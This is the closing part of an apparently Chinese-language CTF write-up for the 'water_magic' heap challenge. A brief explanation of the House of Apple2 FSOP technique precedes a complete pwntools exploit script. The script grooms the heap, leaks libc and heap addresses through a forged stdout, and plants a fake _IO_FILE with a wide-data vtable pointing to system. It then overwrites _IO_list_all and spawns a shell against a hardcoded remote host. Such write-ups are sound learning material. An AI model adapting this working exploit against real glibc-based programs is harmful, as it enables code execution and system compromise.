触发 overflow 用普通分支
实际执行 overflow 函数用 _IO_wfile_jumps 里的 _IO_wfile_overflow
add2(0x288, p64(0x100010001) + p64(0) * 0x11 + p64(io_list_all) + b"\n")
add2(0x38, p64(fake_file) + b"\n")

然后再次同样利用前面的原理把fake file的地址放进io_list_all

lock的地址的偏移我们可以直接在gdb中找出来

方班杯2026water_magic (21).png

然后我们再exit就行了,但是这里要注意一下题目里两个exit的区别

exit(0);
_exit(1);

exit(0)是正常退出,能触发FILE流清理,也就是能触发我们的house of apple2攻击,而_exit(1)代表异常退出,会直接退出不触发清理,所以是无法触发我们的攻击的

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = '47.98.139.78:33332'

file_name = './vuln'
ld_name   = './ld-linux-x86-64.so.2'
libc_name = './libc.so.6'

args = [ld_name, "--library-path", ".", file_name]
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
       elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
           if 'libc' in locals() and libc:
                target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
                gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
           else:
                log.warning("未加载 Libc,跳过 Libc 断点")
    gdb_cmd += "c\n"

if switch:
   parts = target.replace(':', ' ').split()
   host = parts[-2]
   port   = int(parts[-1])
   use_ssl = '--ssl' in parts
   p = remote(host, port, ssl=use_ssl, sni=host if use_ssl else None)
elif gdb_:
   p = gdb.debug(args, gdbscript=gdb_cmd, aslr=True)
else:
   p = process(args)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool):            return p.recvline(keepends=bool)
def ra(t=None):          return p.recvall(timeout=t)
def rn(numb):            return p.recvn(numb)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def a(f, off=libc):      return lg(hex(off), (ret := f.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address):         return (address).to_bytes(3, 'big')
def bt(*values):         return bytes([v & 0xff for v in values])
def base(val, binary=elf):            return binary.address + val  
def ntlbc(leak, offset, name='Libc'):  return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None):                    return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed):     return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed):    return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]

_rop_cache = {}
def gg(s, f=None):
   target = f or libc
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   gadget = rop.find_gadget(instrs)
   if gadget:
       addr = gadget.address
       lg(s, addr)
       return addr
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

def ga(delim=b'|', name='Leak', data=None):
    target_data = p.recv(data) if isinstance(data, int) else (data if data else ru(delim))
    if isinstance(target_data, str):
        target_data = target_data.encode()
    hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
    return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################

def menu1(idx):
    sla(b'Your choice >> ', cb(idx))

def add(size,content=b'\n',model=0,offset=0 ):
    menu1(1)
    sla(b"Input the size of your chunk:", cb(size))
    sla(b"do you want to play a game ?(1/0)",cb(model))
    if model == 1:
        sla(b"you can set a offset!", cb(offset))
    sa(b"Input:", content)

def delete(idx):
    menu1(2)
    sla(b"idx:", cb(idx)) 

def gift():
    menu1(4)

def exit():
    menu1(5)

def add2(size, content=b'\n'):
    menu1(1)
    sla(b"Input the size of your chunk:", cb(size))
    sa(b"Input:", content)

def fake_chunk():
    for i in range(0,7):
        add(0x88)
    for i in range(7,14):
        add(0x1A8)
    add(0x3D8) #14
    add(0x3E8) #15
    delete(14)
    delete(15)
    add(0x18,b'guard1\n') #16
    for i in range(17,21):
        add(0x88)
    add(0x18,b'guard2\n') #21
    for i in range(22,26):
        add(0x88)
    add(0x18,b'guard3\n') #26
    for i in range(0,7):
        delete(i)
    delete(17)
    delete(18)
    delete(19)
    delete(22)
    delete(23)
    delete(24)
    add(0x1A8, b"2" * 0x118 + p64(0x31) + b"\n")  # 27 控chunk24
    add(0x1A8, b"1" * 0x118 + p64(0x21) + b"\n")  # 28 控chunk19
    delete(19)
    delete(24)
    delete(27)
    delete(28)
    add(0x1A8, b"a" * 0x88 + p64(0xE1) + b"\n")   # 29 原28 控chunk18
    add(0x1A8, b"b" * 0x88 + p64(0xF1) + b"\n")   # 30 原27 控chunk23
    for i in range(7,14):
        delete(i)
    delete(18)
    delete(23)
    delete(29) #chunk28
    delete(20)
    add(0x38)#31
    add(0x48)#32
    add(0x38)#33
    add(0x58)#34
    add(0x108)#35
    delete(30) #chunk27
    delete(25)
    add(0x38)#36
    add(0x48)#37
    add(0x38)#38
    add(0x58)#39
    add(0x108)#40
    add(0x108)#41
    for i in range(42,49):
        add(0x108)
    for i in range(42,49):
        delete(i)
    for i in range(49,85):
        add(0x5f8)
    add(0x5F8, b"A" * 0xF0 + p64(0x10000) + p64(0x20) + b"\n")  # 85
    delete(35)
    delete(41)
    delete(40)
    add(0xD8, p16(0x6080) + b"\n", 1, 0xA8)   # 86 原chunk18 控chunk35的bk
    add(0xE8, p16(0x6080) + b"\n", 1, 0xA0)   # 87 原chunk23 控chunk40的fd
    add(0x248, p16(0x6010) + b"\n", 1, 0x1E0) # 88 从我们伪造的0x10000的chunk切下

while True:
    try:
        if switch:
            parts = target.replace(':', ' ').split()
            host = parts[-2]
            port   = int(parts[-1])
            p = remote(host, port)
        else:
            p = process([ld_name, "--library-path", ".", file_name])
#攻击部分:
        gift()
        ru(b"gift: ")
        gift_leak = int(rl(True).strip())
        stdout_low = gift_leak + (libc.sym["_IO_2_1_stdout_"] & 0xfff)
        lg("stdout_low", stdout_low)
        fake_chunk()
#检测部分:
        response = p.recvuntil(b'3.show', timeout=1)
        if b'free' in response:
            print(f"\n[+] Success! Target resurrected.")
            if gdb_:
                gdb.attach(p)
                pause()#补充部分:

            break#---回到爆破成功后的地方
        else:
            p.close()
            continue
    except (EOFError, TimeoutError):#---程序崩了&程序卡死了
        p.close()
        continue
    except Exception as e:#---其他异常
        p.close()
        continue

add2(0x3D8, p64(0x10001) + p64(0) * 0x10 + p16(stdout_low) + b"\n")  # 89 原chunk14 ,修改了chunk88的bk
add2(0x28, p64(0xFBAD1800) + p64(0) * 3 + b"\x00\n")                  # 90
r(6)
libc_leak = uu64(r(6))
ntlbc(libc_leak, 0x204644)

delete(89)
add2(0x288, p64(0x100010001) + p64(0) * 0x11 + p64(libc.sym["_IO_2_1_stdout_"]) + b"\n") # 91

add2(
    0x38,
    p64(0xFBAD1800)
    + p64(0) * 3
    + p64(libc.address + 0x203b20)
    + p64(libc.address + 0x203b20 + 0x20)
    + p64(libc.address + 0x203b20 + 0x20)
)  # 92

r(6)
heap_leak = uu64(r(6))
heap_base = heap_leak - 0x10580
lg("heap_base", heap_base)

io_list_all = libc.sym["_IO_list_all"]
system_addr = libc.sym["system"]

fake_file        = heap_base + 0x2E0
fake_wide_data   = fake_file + 0x100
fake_wide_vtable = fake_file + 0x220

payload = b""
fake_file_payload = b"  sh;".ljust(0x8, b"\x00")   # fake_file 开头,最后作为 system(fake_file) 的参数
fake_file_payload += p64(0) * 3                    # _IO_read_ptr / _IO_read_end / _IO_read_base
fake_file_payload += p64(1)                        # _IO_write_base = 1
fake_file_payload += p64(2)                        # _IO_write_ptr  = 2
fake_file_payload = fake_file_payload.ljust(0x30, b"\x00")# _IO_write_end = 0 
fake_file_payload += p64(0)                 
fake_file_payload = fake_file_payload.ljust(0x88, b"\x00")
fake_file_payload += p64(libc.address + 0x205710)           # _lock,要填一个合法地址通过检查
fake_file_payload = fake_file_payload.ljust(0xA0, b"\x00")
fake_file_payload += p64(fake_wide_data)                    # _wide_data = fake_wide_data
fake_file_payload = fake_file_payload.ljust(0xD8, b"\x00")  # _mode 默认保持 0
fake_file_payload += p64(libc.sym["_IO_wfile_jumps"])       # vtable = _IO_wfile_jumps


fake_wide_data_payload = b""
fake_wide_data_payload = fake_wide_data_payload.ljust(0xE0, b"\x00") # fake_wide_data->_IO_buf_base = 0,进入 _IO_wdoallocbuf
fake_wide_data_payload += p64(fake_wide_vtable)                      # fake_wide_data->_wide_vtable = fake_wide_vtable



fake_wide_vtable_payload = b""
fake_wide_vtable_payload = fake_wide_vtable_payload.ljust(0x68, b"\x00") #常见偏移是0x68
fake_wide_vtable_payload += p64(system_addr)                             # fake_wide_vtable->__doallocate = system


payload = b""
payload += fake_file_payload
payload = payload.ljust(fake_wide_data - fake_file, b"\x00")
payload += fake_wide_data_payload
payload = payload.ljust(fake_wide_vtable - fake_file, b"\x00")
payload += fake_wide_vtable_payload

add2(0x600, payload + b"\n")  # 93

delete(89)
add2(0x288, p64(0x100010001) + p64(0) * 0x11 + p64(io_list_all) + b"\n")
add2(0x38, p64(fake_file) + b"\n")
exit()
it()

题目链接:CTF-Writeups/方班杯2026/water_magic at main · Zenquiem/CTF-Writeups


water_magic
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-jS4pf4uy
作者
ZenDuk
发布于
2026年04月30日
许可协议